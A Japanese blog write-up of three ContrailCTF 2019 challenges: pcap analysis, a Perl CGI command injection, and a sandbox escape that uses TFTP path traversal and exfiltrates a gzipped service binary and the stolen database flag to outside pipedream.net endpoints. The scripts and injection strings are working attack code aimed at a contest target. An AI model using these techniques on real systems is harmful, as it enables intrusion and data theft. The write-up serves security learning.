Ark's Blog

引っ越しました→ https://blog.arkark.dev/

ようこそ

ContrailCTF 2019 writeup

ContrailCTF 2019 にチーム ./Vespiary として参加しました。結果は 1542 points で 9 位でした。

f:id:ark4rk:20200104014852p:plainf:id:ark4rk:20200104014858p:plain

以下は自分が解いた問題のwriteupです。3問解いて内訳はnetwork*1, web*2 です。

[network] debug_port (100pt)

問題概要

.pcapngファイルが与えられるので、通信内容を解析してフラグを取得する問題です。

解法

wiresharkで開く前にとりあえずstringsにかけます。

$ strings network_debug_port.pcapng
# -- snip --
dWRTE/
x86_64:/sdcard $ sh f1ag.sh                                                                            
%OKAYL
VWRTEL
OKAY/
WRTE/
OKAYL
WRTE/
ZWNobyAnY29uZ3JhdHVsYXRpb25zIScKZWNobyAnZmxhZyBpcyAiY3RyY3Rme2QxZF95MHVfY2wwNTNkXzdoM181NTU1X3Awcjc/fSInIAo=
OKAYL
WRTE/
x86_64:/sdcard $ 
OKAYL
# -- snip --

flagっぽいbase64が見えるのでデコードします。

$ echo ZWNobyAnY29uZ3JhdHVsYXRpb25zIScKZWNobyAnZmxhZyBpcyAiY3RyY3Rme2QxZF95MHVfY2wwNTNkXzdoM181NTU1X3Awcjc/fSInIAo= | base64 -d
echo 'congratulations!'
echo 'flag is "ctrctf{d1d_y0u_cl053d_7h3_5555_p0r7?}"'

フラグが降ってきました。

フラグ

ctrctf{d1d_y0u_cl053d_7h3_5555_p0r7?}

[web] LegacyBlog (100pt)

問題概要

レガシーなブログサービスからフラグを取得する問題です。

解法

にアクセスすると viewer.pl の中身が見れるので、サーバ側の処理がわかります。言語はperlです。

folder のクエリパラメータで、指定フォルダ内のファイル一覧が見れるので適当に path traversal をします。

location.href = "http://114.177.250.4:9999/cgi-bin/viewer.pl?folder=" + encodeURIComponent("../../..")
.dockerenv
bin
boot
dev
etc
flag
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var

flagがあったので中身を見ます。

location.href = "http://114.177.250.4:9999/cgi-bin/viewer.pl?folder=" + encodeURIComponent("../../..") + "&text=flag"

見れない...。読み込み権限がなさそうです。

色々と調べてみたら、perlopen関数には「open("command |")commandを実行する」という仕様があるみたいです。

つまり、open関数のところでOS command injectionができそうなのでやってみます。

location.href = "http://114.177.250.4:9999/cgi-bin/viewer.pl?text=" + encodeURIComponent("|| ls -l ../../../flag |")
---x--x--x 1 root root 8296 Dec 28 14:42 ../../../flag

flagは実行ファイルであることがわかりました。実行してみます。

location.href = "http://114.177.250.4:9999/cgi-bin/viewer.pl?text=" + encodeURIComponent("|| ../../../flag |")
ctrctf{Th1s_1s_01d_cg1_exp101t}

フラグGET。

フラグ

ctrctf{Th1s_1s_01d_cg1_exp101t}

[web] NoWallForUs (436pt)

問題概要

競技プログラミングのサービスとそのソースコードが与えられます。

フラグがデータベース内に格納されているので、脆弱性を突いてそれを取得する問題です。

解法概略

  1. サービスの構成を把握する。
    • なにがどのアドレスをListenしているのかなどに注意する。
  2. 172.17.0.1:4444からTFTPでバイナリファイルを取得する。
    • path traversalする。
    • ファイル容量が大きいのでそこは工夫する。
  3. 取得したバイナリからstringsでmysqlのパスワードを取得する。
  4. mysqlに接続してフラグを奪取する。

解法詳細

自分の解法は大きく4つのフェイズがあります。

  1. サーバ側の構成を把握する。
  2. サーバ内のファイルを入手する。
  3. mysqlのパスワードを取得する。
  4. mysqlに接続してフラグを奪取する。

1. サーバ側の構成を把握する

構成が少し複雑なので、まずは、サービス間がどのように連携して攻撃者がなにをできるのかを把握する必要があります。

主なサービスは

  • nowall-php: フロントからのrequestを受けてresponseを返す。
  • nowall-back
    • api: nowall-phpに各apiを提供する。
    • job-owner: ジャッジのジョブキューを管理する。
    • tftp-server: 他サービスへファイルを転送する。
  • nowall-judge: ジャッジのジョブを管理する。

です。ユーザがソースコードを提出してジャッジが実行されるまでの流れは次のとおりです。

  1. ユーザがソースコードを提出する。
  2. api経由でソースコードファイルシステム内に格納される。
  3. nowall-judgeは、job-ownerからジャッジのジョブが発行される。
  4. nowall-judgeは、そのジョブに対応したソースコードtftp-serverから転送してもらう。
  5. nowall-judgeは、Dockerコンテナを起動してそこにソースコードやテストケースなどを転送する。
  6. Dockerコンテナ内でソースコードコンパイル&実行する。
  7. 実行結果をnowall-judgeに返す。

各サービスのアドレスは

  • nowall-phpのアドレス
  • nowall-backnowall-judgeのアドレス
  • nowall-judge内で動く各コンテナのアドレス

の3種類があります(正確にはコンテナごとにアドレスが異なるので2種類とその他多数)。ユーザが直接アクセスできるのはnowall-phpのアドレスのみです。

SQL injectionや認証周りで攻撃はできそうにないので、提出したソースコードがコンテナ内で実行されるときにうまくSSRFする問題だと思われます。

2. サーバ内のファイルを入手する

コンテナ内から見えるホストのアドレスは executeUsercode.go に書いてあり

  • 172.17.0.1

です。また、コンテナ内からアクセスできるサービスのポートをフォルダ内検索をするなどして調べると、

  • 3344: nowall-judgeがジャッジ結果を受信するためのポート
  • 8888: nowall-judgeがジョブを受信するためのポート
  • 4444: 転送してほしいファイルの名前をtftp-serverが受信するためのポート
  • 3306: mysqlのポート

があります。TFTP (udp) によって172.17.0.1:4444 からサーバ内のファイルが取得できそうです。

実行時間の制限内でTFTP用のライブラリをインストールするのは現実的ではないので、↓のサイトを参考にTFTPのclient実装をソースコード内で実装します。

smitsgit.github.io

例えば、次のソースコードを提出すると/etc/hosts の中身を見れます。

import sys
import json
import time
import socket

client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
client.settimeout(1)

server_address = ("172.17.0.1", 4444)

# https://smitsgit.github.io/blog/html/2018/06/13/tftp.html

TERMINATING_DATA_LENGTH = 516
TFTP_OPCODES = {
    'unknown': 0,
    'read': 1,  # RRQ
    'write': 2,  # WRQ
    'data': 3,  # DATA
    'ack': 4,  # ACKNOWLEDGMENT
    'error': 5}  # ERROR
server_error_msg = {
    0: "Not defined, see error message (if any).",
    1: "File not found.",
    2: "Access violation.",
    3: "Disk full or allocation exceeded.",
    4: "Illegal TFTP operation.",
    5: "Unknown transfer ID.",
    6: "File already exists.",
    7: "No such user."
}

def send_rq(filename, mode):
    """
    This function constructs the request packet in the format below.
    Demonstrates how we can construct a packet using bytearray.

        Type   Op #     Format without header

               2 bytes    string   1 byte     string   1 byte
               -----------------------------------------------
        RRQ/  | 01/02 |  Filename  |   0  |    Mode    |   0  |
        WRQ    -----------------------------------------------


    :param filename:
    :return:
    """
    request = bytearray()
    # First two bytes opcode - for read request
    request.append(0)
    request.append(1)
    # append the filename you are interested in
    filename = bytearray(filename.encode('utf-8'))
    request += filename
    # append the null terminator
    request.append(0)
    # append the mode of transfer
    form = bytearray(bytes(mode, 'utf-8'))
    request += form
    # append the last byte
    request.append(0)

    print(f"Request {request}", file=sys.stderr)
    sent = client.sendto(request, server_address)

def send_ack(ack_data, server):
    """
    This function constructs the ack using the bytearray.
    We dont change the block number cause when server sends data it already has
    block number in it.

              2 bytes    2 bytes
             -------------------
      ACK   | 04    |   Block #  |
             --------------------
    :param ack_data:
    :param server:
    :return:
    """
    ack = bytearray(ack_data)
    ack[0] = 0
    ack[1] = TFTP_OPCODES['ack']
    print(ack, file=sys.stderr)
    client.sendto(ack, server)

def server_error(data):
    """
    We are checking if the server is reporting an error
                2 bytes  2 bytes        string    1 byte
              ----------------------------------------
       ERROR | 05    |  ErrorCode |   ErrMsg   |   0  |
              ----------------------------------------
    :param data:
    :return:
    """
    opcode = data[:2]
    return int.from_bytes(opcode, byteorder='big') == TFTP_OPCODES['error']

try:
    mode = "netascii"
    filename = "/../../../../../../../../../../etc/hosts"

    send_rq(filename, mode)

    body = b""
    while True:
        data, server = client.recvfrom(600)
        if server_error(data):
            error_code = int.from_bytes(data[2:4], byteorder='big')
            print(server_error_msg[error_code], file=sys.stderr)
            break
        send_ack(data[0:4], server)
        content = data[4:]
        body += content
        if len(data) < TERMINATING_DATA_LENGTH:
            break

    print(body.decode("utf-8"), file=sys.stderr)

except Exception as e:
    print("", file=sys.stderr)
    print("Error:\n{}".format(e), file=sys.stderr)

exit(1)
print("hello")

f:id:ark4rk:20200104011535p:plain

filename = "/../../../../../../../../../../etc/hosts" のところでpath traversalをしています。

3. mysqlのパスワードを取得する

問題の提供ファイルから、mysqlにアクセスするためのユーザ名とデータベース名はともに nowall であることがわかります。フラグを手に入れるためになんとかしてmysqlのパスワードがほしいです。

本番サーバではソースコード.sqlファイルはすべて削除されているので、パスワードが取得できそうなのはDBにアクセスするサービスのバイナリファイルくらいです。

バイナリファイル./fileserver/../apiを取得することを試みます。

ただし、バイナリファイルは容量がでかいのでそのままでは取得できません。gzipで圧縮したものを適当なendpointにpostします。大抵はpostリクエストのbody部にも制限があるので、分割postします。endpointは requestbin.com を利用しました。

import sys
import json
import socket
import urllib.request
import gzip

def post(url, data):
    headers = {
        "Content-Type": "application/json"
    }
    req = urllib.request.Request(url, json.dumps(data).encode("utf-8"), headers)
    with urllib.request.urlopen(req) as res:
        return res.read()


client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
client.settimeout(1)

server_address = ("172.17.0.1", 4444)

# https://smitsgit.github.io/blog/html/2018/06/13/tftp.html

TERMINATING_DATA_LENGTH = 516
TFTP_OPCODES = {
    'unknown': 0,
    'read': 1,  # RRQ
    'write': 2,  # WRQ
    'data': 3,  # DATA
    'ack': 4,  # ACKNOWLEDGMENT
    'error': 5}  # ERROR
server_error_msg = {
    0: "Not defined, see error message (if any).",
    1: "File not found.",
    2: "Access violation.",
    3: "Disk full or allocation exceeded.",
    4: "Illegal TFTP operation.",
    5: "Unknown transfer ID.",
    6: "File already exists.",
    7: "No such user."
}

def send_rq(filename, mode):
    """
    This function constructs the request packet in the format below.
    Demonstrates how we can construct a packet using bytearray.

        Type   Op #     Format without header

               2 bytes    string   1 byte     string   1 byte
               -----------------------------------------------
        RRQ/  | 01/02 |  Filename  |   0  |    Mode    |   0  |
        WRQ    -----------------------------------------------


    :param filename:
    :return:
    """
    request = bytearray()
    # First two bytes opcode - for read request
    request.append(0)
    request.append(1)
    # append the filename you are interested in
    filename = bytearray(filename.encode('utf-8'))
    request += filename
    # append the null terminator
    request.append(0)
    # append the mode of transfer
    form = bytearray(bytes(mode, 'utf-8'))
    request += form
    # append the last byte
    request.append(0)

    print(f"Request {request}", file=sys.stderr)
    sent = client.sendto(request, server_address)

def send_ack(ack_data, server):
    """
    This function constructs the ack using the bytearray.
    We dont change the block number cause when server sends data it already has
    block number in it.

              2 bytes    2 bytes
             -------------------
      ACK   | 04    |   Block #  |
             --------------------
    :param ack_data:
    :param server:
    :return:
    """
    ack = bytearray(ack_data)
    ack[0] = 0
    ack[1] = TFTP_OPCODES['ack']
    print(ack, file=sys.stderr)
    client.sendto(ack, server)

def server_error(data):
    """
    We are checking if the server is reporting an error
                2 bytes  2 bytes        string    1 byte
              ----------------------------------------
       ERROR | 05    |  ErrorCode |   ErrMsg   |   0  |
              ----------------------------------------
    :param data:
    :return:
    """
    opcode = data[:2]
    return int.from_bytes(opcode, byteorder='big') == TFTP_OPCODES['error']

try:
    mode = "netascii"
    filename = "/../api"

    send_rq(filename, mode)

    body = b""
    while True:
        data, server = client.recvfrom(600)
        if server_error(data):
            error_code = int.from_bytes(data[2:4], byteorder='big')
            print(server_error_msg[error_code], file=sys.stderr)
            break
        send_ack(data[0:4], server)
        content = data[4:]
        body += content
        if len(data) < TERMINATING_DATA_LENGTH:
            break

    comp = gzip.compress(body).hex()

    T = 100
    s = len(comp) // T

    first_index = 0 # 

    for i in range(first_index,T+10):
        l = i*s
        r = min(len(comp), (i+1)*s)
        if l >= len(comp):
            break
        post("https://endmh94fyl0tr.x.pipedream.net", {"index": i, "body": comp[l:r]})


except Exception as e:
    print("", file=sys.stderr)
    print("Error:\n{}".format(e), file=sys.stderr)

exit(1)
print("hello")

一度のソースコードの提出ではすべて取得できないので、何度かfirst_indexの値を変えつつ提出し直します。

得られた分割したJSONデータを 0.json, 1.json, ..., 100.jsonとして保存して、下のソースコードでバイナリを復元します。

import gzip
import json

h = ""

for i in range(0, 100+1):
    print(i)
    filename = "response/{}.json".format(i)
    with open(filename, mode="r") as f:
        jf = json.load(f)
        assert jf["index"] == i
        h += jf["body"]

b = gzip.decompress(bytes.fromhex(h))

with open("api", mode="wb") as f:
    f.write(b)

バイナリファイルapiが復元できました。stringsをかけてpasswordを探します。

$ strings api | grep @/nowall
%v.WithValue(%#v, %#v).localhost.localdomain/etc/apache/mime.types/etc/ssl/ca-bundle.pem/lib/time/zoneinfo.zip/usr/local/share/certs4656612873077392578125DEBUG_HTTP2_GOROUTINESInscriptional_ParthianMAX_CONCURRENT_STREAMSSIGSTKFLT: stack faultSIGTSTP: keyboard stopUnsupported Media TypeX-Content-Type-Optionsaddress already in useadjustPriority on rootapplication/postscriptargument list too longassembly checks failedbad g->status in readybody closed by handlercannot allocate memorydriver: bad connectionerror decoding messageerror parsing regexp: freeIndex is not validgb18030_unicode_520_cigetenv before env initgzip: invalid checksumheader field %q = %q%shpack: string too longhttp2: frame too largeidna: invalid label %qillegal TIME length %dillegal number base %dinappropriate fallbackinteger divide by zerointerface conversion: internal inconsistencyinvalid address familyjson: unknown field %qmalformed HTTP requestmalformed HTTP versionminpc or maxpc invalidmissing ']' in addressnetwork is unreachablenon-Go function at pc=nowall:jaldsfk@/nowalloldoverflow is not niloperation was canceledpanic during softfloatprotocol not availableprotocol not supportedreflect.Value.MapIndexreflect.Value.SetFloatremote address changedruntime.main not on m0runtime: out of memoryruntime: work.nwait = runtime:scanstack: gp=s.freeindex > s.nelemsscanstack - bad statussend on closed channelspan has no free spacestack not a power of 2timer goroutine (idle)trace: alloc too largeunexpected empty hpackunexpected length codeutf8mb4_unicode_520_ciwrite on closed bufferzero length BIT STRING into Go value of type  is not in the Go heap

nowall:jaldsfk@/nowallの文字列がヒットしたのでパスワードは

  • jaldsfk

です。

4. mysqlに接続してフラグを奪取する

パスワードがわかったのでDB内のフラグを取りに行きます。

import os
import json
import urllib.request

def post(url, data):
    headers = {
        "Content-Type": "application/json"
    }
    req = urllib.request.Request(url, json.dumps(data).encode("utf-8"), headers)
    with urllib.request.urlopen(req) as res:
        return res.read()

os.system("apt install -y mysql-client")

# nowall:jaldsfk@/nowall
query = "SELECT flag.flag FROM flag;"
flag = os.popen("mysql -unowall -pjaldsfk -Dnowall -h172.17.0.1 -e'{}'".format(query)).read()

post("https://en2434qxsc1o8.x.pipedream.net", {"flag": flag})

exit(1)
print("hello")

f:id:ark4rk:20200104014035p:plain

フラグ

ctrctf{Y0u_4r3_ult1m4t3_h4ck3r}

感想

追記。感想です。

ContrailCTF 全体に対して

有志コンテストということで、お気軽な問題ばかりなんだろうなと思って参加したのですが、蓋を開けてみればガチ問揃いの本格CTFでした。エスパー要素が少なかったのも良かったです。問題も充実していて、国際CTFとしてやっていても遜色ないレベルでした。それはそれとして、緩い開催だったのでTwitter等で感想が飛び交っていたりと、違った良さもありました。

ContrailCTFの企画・運営・作問をしてくださった皆様、たのしいCTFをありがとうございました。おかげさまで年末年始が嬉しい意味で犠牲となりました。

ところで最近、有志のCTFが開かれがちで良いブームだなあと感じてます。出題側ならではの楽しさもあるだろうし、普段たのしいCTFを企画してもらってるという感謝も含めて、僕もなにか企画したいと思いました。流石に今回のCTFほどのクオリティは無理ですが、研究と就活が落ち着いたら何か動きたいです。

NoWallForUs に対して

この問題は少し複雑なサービス内の脆弱性を突く問題で、ソースコードが事前に与えられているとはいえ、割と現実的なhackだったかなと思います。システム設計の把握から始まるのはつらくもあったけど、だんだんと脆弱な部分が浮き彫りになってきて、たのしかったです。

writeup中では解法の流れが一本道になっていますが、実際は「3344ポートに嘘のジャッジ結果を流してみたり」「/home/akane/.bash_historyを覗いてコマンド履歴を見てみたり」「.gitが実は残っていてそこから辿れるのでは?と画策してみたり」色々と遠回りをしてました。なんやかんやフラグまでたどり着けてよかったです。CTFの問題はまだ数えるくらいしかやってないですが、このレベルのweb問が解けたのは自信になりました。

また問題とは別に、サービスの設計という観点でも学びがありました。競プロのジャッジシステムに必要な「高速にファイルをやり取りする仕組み」や「サンドボックスとして実行環境を隔離する仕組み」をどのように実現するのかの具体的な知見を得ることができました(もちろん脆弱な部分は別ですが)。